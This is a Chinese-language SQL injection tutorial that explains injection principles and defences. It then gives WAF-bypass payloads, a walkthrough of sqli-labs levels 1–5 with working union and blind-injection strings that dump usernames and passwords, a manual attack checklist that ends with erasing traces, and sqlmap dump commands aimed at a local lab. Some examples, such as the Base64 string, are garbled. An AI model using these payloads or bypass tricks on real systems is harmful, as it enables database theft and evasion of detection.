目录
一、关于SQL注入
SQL注入原理
SQL注入是一种常见的网络安全漏洞,SQL注入的原理是攻击者通过在应用程序的输入字段中插入恶意SQL代码,利用应用程序对用户输入验证不足的漏洞,使这些恶意代码被当作正常数据的一部分执行,从而能够操纵数据库执行非授权的操作,如读取、修改或删除敏感数据。
SQL注入常用函数及含义
1、SELECT
:
用于查询数据库中的数据。
示例:SELECT * FROM users;
2、UNION
:
将多个查询的结果合并为一个结果集。
示例:SELECT id FROM users WHERE username = 'admin' UNION SELECT password FROM admin;
3、IF
:
根据条件执行不同的SQL语句。
示例:SELECT IF(1=1, CONCAT(username, ':', password), '') FROM users;
4、SLEEP
:
使数据库暂停一段时间,用于盲注。
示例:SELECT SLEEP(5);
5、BENCHMARK
:
重复执行一个操作以消耗资源,常用于延时注入。
示例:SELECT BENCHMARK(10000000, AES_ENCRYPT('a', 'a'));
6、CONCAT
:
将多个字符串连接起来。
示例:SELECT CONCAT(username, ':', password) FROM users;
7、ASCII
:
返回一个字符的ASCII码。
示例:SELECT ASCII('A');
8、HEX
:
返回一个字符串的十六进制表示。
示例:SELECT HEX('Hello World');
9、MID
或 SUBSTRING
:
提取字符串的一部分。
示例:SELECT MID(password, 1, 1) FROM users;
10、LENGTH
或 CHAR_LENGTH
:
获取字符串的长度。
示例:SELECT LENGTH(password) FROM users;
11、DATABASE
和 USER
:
分别获取当前数据库名称和用户名。
示例:SELECT DATABASE();
12、TABLE_NAME
和 COLUMN_NAME
:
获取表名和列名。
示例:SELECT TABLE_NAME FROM information_schema.tables;
13、INFORMATION_SCHEMA
:
访问元数据,用于获取数据库架构信息。
示例:SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = DATABASE();
SQL注入防御手段
1、参数化查询(预编译语句)
参数化查询(也称为预编译语句或绑定参数)是防止SQL注入最有效的方法之一。这种方法将SQL语句与数据分开处理,确保用户输入的数据不会被解释为SQL代码。
示例:
1$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
2$stmt->bind_param("s", $username);
3$username = "admin";
4$stmt->execute();
2、使用存储过程
存储过程是预先定义并编译好的SQL代码块,可以接受参数。使用存储过程可以确保用户输入的数据不会被解释为SQL代码。
示例:
1DELIMITER //
2CREATE PROCEDURE GetUserData(IN user_name VARCHAR(50))
3BEGIN
4 SELECT * FROM users WHERE username = user_name;
5END //
6DELIMITER ;
3、输入验证
对用户输入进行严格的验证,确保输入符合预期的格式和范围。例如,如果一个输入字段应该是数字,那么就确保它确实是数字。
示例:
1import re
2
3def validate_input(input_str):
4 if re.match(r'^[a-zA-Z0-9_]+$', input_str):
5 return True
6 else:
7 return False
8
9username = "admin'"
10if validate_input(username):
11 # 输入有效,继续处理
12else:
13 # 输入无效,拒绝处理
4、数据转义
对用户输入的数据进行转义,确保特殊字符不会被解释为SQL代码。例如,在MySQL中可以使用 mysqli_real_escape_string
函数。
示例:
1$username = mysqli_real_escape_string($conn, $_POST['username']);
5、使用ORM(对象关系映射)
ORM框架(如Hibernate、Entity Framework、Django ORM等)通常内置了防止SQL注入的功能,可以自动处理SQL查询的安全问题。
示例:
1from django.db import models
2
3class User(models.Model):
4 username = models.CharField(max_length=50)
5
6# 查询
7users = User.objects.filter(username='admin')
6、最小权限原则
确保应用程序的数据库账户具有最小必要的权限。例如,不要赋予写入或删除权限,除非绝对必要。
7、日志记录和监控
记录应用程序的所有输入和SQL查询,定期审查日志以发现异常行为。同时,监控应用程序的行为,及时发现潜在的安全威胁。
8、教育和培训
定期对开发人员进行安全培训,确保他们了解SQL注入的风险和防御方法。
9、使用Web应用防火墙(WAF)
部署Web应用防火墙(WAF)可以拦截恶意请求,防止SQL注入攻击到达应用程序。
10、更新和打补丁
确保使用的数据库管理系统、开发框架和其他组件都是最新的版本,并及时应用安全补丁。通过综合运用这些方法,可以显著降低应用程序遭受SQL注入攻击的风险。每种方法都有其适用场景,合理搭配使用可以提供多层次的保护。
SQL注入常用绕过waf的方法
绕过Web应用防火墙(WAF)的SQL注入攻击是一种高级技巧,涉及利用WAF对特定模式和字符的过滤机制。以下是一些常见的绕过WAF的方法:
1、编码与解码
URL编码:将特殊字符进行URL编码。
例如,将单引号 '
编码为 %27
。
示例:' OR '1'='1
变为 %27%20OR%20%271%27=%271
Base64编码:将SQL语句进行Base64编码。
示例:' OR '1'='1
变为 ' OR '1'='1
的 Base64 编码 JyBPUiAnMSgnPSdn
Unicode编码:使用Unicode编码,例如 \u0027
表示 '
。
示例:' OR '1'='1
变为 \u0027 OR \u00271\u0027=\u00271
2、字符替换
使用类似字符:使用相似的字符代替原字符。
例如,将 '
替换为 ’
或 ‘
。
示例:' OR '1'='1
变为 ’ OR ‘1’=‘1
使用注释符号:使用SQL注释符号绕过WAF。
示例:' OR '1'='1 --
或 ' OR '1'='1 /*
3、拆分查询
分段注入:将SQL注入语句拆分成多段,使用合法的SQL语法连接。
示例:' OR '1'='1
变为 ' OR
1=
1`
使用合法关键字:使用合法的SQL关键字绕过WAF。
示例:' OR '1'='1
变为 ' OR 1=1
4、使用SQL函数
使用SQL函数:利用SQL函数绕过WAF。
示例:' OR '1'='1
变为 CONCAT(' OR ', '1', '=', '1')
使用CASE语句:使用CASE语句进行逻辑判断。
示例:' OR '1'='1
变为 CASE WHEN '1'='1 THEN ' OR ' ELSE '' END
5、使用注释和空格
插入注释:在SQL语句中插入注释符号。
示例:' OR '1'='1 --
或 ' OR '1'='1 /*
插入空格:在SQL语句中插入多余的空格。
示例:' OR '1'='1
变为 ' OR ' 1 ' = ' 1
6、使用HTTP方法
使用POST方法:有些WAF对GET请求的过滤比较严格,但对POST请求相对宽松。
示例:通过POST方法发送SQL注入语句。
7、利用HTTP头部
使用HTTP头部:将SQL注入语句放在HTTP头部。
示例:通过User-Agent或Referer等头部字段传递SQL注入语句。
8、利用布尔盲注
布尔盲注:通过逐位判断的方式进行SQL注入。
示例:利用AND
或OR
逻辑判断进行逐位猜测。
9、利用时间延迟
时间延迟注入:利用SLEEP
函数进行时间延迟注入。
示例:' OR SLEEP(5)--
用于测试是否存在SQL注入漏洞。
10、利用数据库特性
利用数据库特性:不同数据库有不同的特性,可以利用这些特性绕过WAF。
示例:在MySQL中使用LOAD_FILE
函数读取文件。
二、sqli-labs闯关
环境搭建
首先,下载sqli-labs-master,并将sqli-labs-master放在WWW文件夹下:
然后,修改db-creds.inc文件,将文件信息与原本数据库信息修改一致:
添加服务器:
随后,打开网站,即可进入sqli-labs网页:
点击“Setup/reset Database for labs”后,就可以访问了:
第一关
首先,根据提示信息“input the ID”,输入“?id=1”和“?id=2”:
随后,判断是否有拼接情况:
由上述结果可知:这是字符型的。下面尝试联合注入:
由此,我们可以直接获取表名信息,添加“?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+”以获取:
接着,添加“?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+”,获取所有字段名:
最后,可以获取到敏感字段username及其对应的password:
第二关
判断注入类型的方法,与第一关相似:
由上图可知:这是数字型注入。下面尝试联合注入:
与第一关相似,添加“?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'”以获取表名和字段名:
最后,可获取各用户名及其对应的密码:
第三关
与第一二关同理,先判断注入类型:
由上图不难发现:这是带有括号的注入情况。下面尝试考虑括号的联合注入:
最后,获取到数据库的敏感信息,数据库的表名、字段名和用户名及其对应的密码:
第四关
首先,判断注入类型:
由上图不难发现:这是双引号字符括号型。下面进行联合注入:
查询到的敏感信息:
第五关
同理,先判断类型:
由上图可知,这是单引号的字符型。下面尝试联合注入:
由于页面中看不到任何回显区域,因此我们不能再用这种方式猜测数据库,下面使用布尔盲注:
首先添加“?id=1'and length((select database()))>9--+”,判断数据库的长度:
接着添加“?id=1'and ascii(substr((select database()),1,1))=115--+”,尝试找到需要盲注的字符:
随后添加“?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+”,判断所有表名字符长度:
再添加“?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+”,逐一判断表名:
添加“?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+”,判断所有字段名长度:
再添加“?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+”,逐一判断字段名:
接着,添加“?id=1' and length((select group_concat(username,password) from users))>109--+”判断字段内容长度:
最后,添加“?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+”,逐一检测内容:
三、SQLi的手工注入步骤总结
SQL注入(SQLi)是一种常见的Web应用程序安全漏洞,攻击者通过将恶意的SQL代码插入到应用程序中未经净化的输入字段,从而获取敏感数据,修改数据,或者破坏整个数据库。手工执行SQL注入通常包括以下几个基本步骤:
1、识别注入点:
测试应用程序中的各种输入点(如表单、URL参数等),寻找可能存在的SQL注入漏洞。
2、判断数据库类型:
通过特定的SQL语法特性来判断后端数据库的类型(如MySQL, Oracle, SQL Server等)。
3、确定列数:
使用SQL语句(如联合查询 UNION SELECT
)来确定查询返回的结果集中列的数量。
4、枚举数据类型:
根据已知的列数,尝试不同的数据类型(如数字、字符串)来确定每列表达式的正确格式。
5、提取数据:
利用SQL查询来提取数据库中的数据,比如表名、列名以及实际的数据内容。并使用如 UNION SELECT
或 ORDER BY
这样的技术来构造查询语句,提取信息。
6、绕过安全措施:
如果目标网站有WAF(Web应用防火墙)或其他安全措施,需要寻找方法绕过它们,比如更改SQL注入的语法或使用编码/编码技术。
7、利用漏洞:
根据收集到的信息,进一步利用漏洞进行更深入的操作,如修改或删除数据、提升权限等。
8、清理痕迹:
在完成攻击后,删除或隐藏自己的活动记录,以避免被检测到。
四、使用sqlmap通过第六关
首先,下载好sqlmap包,如下图所示:
在该文件夹下打开cmd,并输入“python sqlmap.py -u http://localhost/sqli-labs-master/Less-4/?id=1 --dbs --batch”查找数据库名:
随后,输入“python sqlmap.py -u http://sql-labs/Less-6/?id=1 -D security --tables --batch”获取数据库的表名:
接下来,使用代码“sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users --column --batch”获取列名:
最后,输入“python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users -C id,username,password --dump --batch”直接爆破数据: